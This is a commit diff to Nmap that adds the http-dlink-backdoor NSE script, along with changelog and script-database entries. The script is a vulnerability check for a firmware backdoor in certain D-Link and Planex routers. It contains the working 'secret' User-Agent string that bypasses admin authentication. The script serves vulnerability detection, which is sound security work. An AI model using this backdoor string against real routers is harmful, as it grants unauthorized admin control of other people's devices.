Add http-dlink-backdoor script that detects DLink routers with firmware

backdoor allowing admin access over HTTP interface.

CHANGELOG

@@ -1,5 +1,8 @@
 # Nmap Changelog ($Id$); -*-text-*-
 
+o [NSE] Add http-dlink-backdoor script that detects DLink routers with firmware
+  backdoor allowing admin access over HTTP interface. [Patrik Karlsson]
+
 o The ICMP ID of ICMP probes is now matched against the sent ICMP ID,
   to reduce the chance of false matches. Patch by Chris Johnson.
 

scripts/http-dlink-backdoor.nse

@@ -0,0 +1,71 @@
+description = [[
+Detects a firmware backdoor on some D-Link routers by changing the User-Agent
+to a "secret" value. Using the "secret" User-Agent bypasses authentication
+and allows admin access to the router.
+
+The following router models are likely to be vulnerable: DIR-100, DIR-120,
+DI-624S, DI-524UP, DI-604S, DI-604UP, DI-604+, TM-G5240
+
+In addition, several Planex routers also appear to use the same firmware:
+BRL-04UR, BRL-04CW
+
+Reference: http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/
+]]
+
+---
+-- @usage
+-- nmap -sV --script http-dlink-backdoor <target>
+--
+-- @output
+-- PORT   STATE SERVICE REASON
+-- 80/tcp open  http    syn-ack
+-- | http-dlink-backdoor: 
+-- |   VULNERABLE:
+-- |   Firmware backdoor in some models of D-Link routers allow for admin password bypass
+-- |     State: VULNERABLE
+-- |     Risk factor: High
+-- |     Description:
+-- |       D-Link routers have been found with a firmware backdoor allowing for admin password bypass using a "secret" User-Agent string.
+-- |       
+-- |     References:
+-- |_      http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/
+---
+
+author = "Patrik Karlsson <patrik@cqure.net>"
+license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
+categories = {"exploit","vuln"}
+
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local vulns = require "vulns"
+
+portrule = shortport.http
+
+action = function(host, port)
+	local response = http.get(host, port, "/", { redirect_ok = false, no_cache = true })
+	local server = response.header and response.header['server']
+	local vuln_table = {
+		title = "Firmware backdoor in some models of D-Link routers allow for admin password bypass",
+		state = vulns.STATE.NOT_VULN,
+		risk_factor = "High",
+		description = [[
+D-Link routers have been found with a firmware backdoor allowing for admin password bypass using a "secret" User-Agent string.
+]],
+		references = {
+		'http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/',
+		}
+	}
+	if ( response.status == 401 and server:match("^thttpd%-alphanetworks") ) or
+	 	( response.status == 302 and server:match("^Alpha_webserv") ) then
+		response = http.get(host, port, "/", { header = { ["User-Agent"] = "xmlset_roodkcableoj28840ybtide" } })
+
+		if ( response.status == 200 ) then
+			vuln_table.state = vulns.STATE.VULN
+			local report = vulns.Report:new(SCRIPT_NAME, host, port)
+			return report:make_output(vuln_table) 
+		end
+	end
+	return
+end

scripts/script.db

@@ -149,6 +149,7 @@ Entry { filename = "http-csrf.nse", categories = { "exploit", "intrusive", "vuln
 Entry { filename = "http-date.nse", categories = { "discovery", "safe", } }
 Entry { filename = "http-default-accounts.nse", categories = { "auth", "discovery", "safe", } }
 Entry { filename = "http-devframework.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "http-dlink-backdoor.nse", categories = { "exploit", "vuln", } }
 Entry { filename = "http-dombased-xss.nse", categories = { "exploit", "intrusive", "vuln", } }
 Entry { filename = "http-domino-enum-passwords.nse", categories = { "auth", "intrusive", } }
 Entry { filename = "http-drupal-enum-users.nse", categories = { "discovery", "intrusive", } }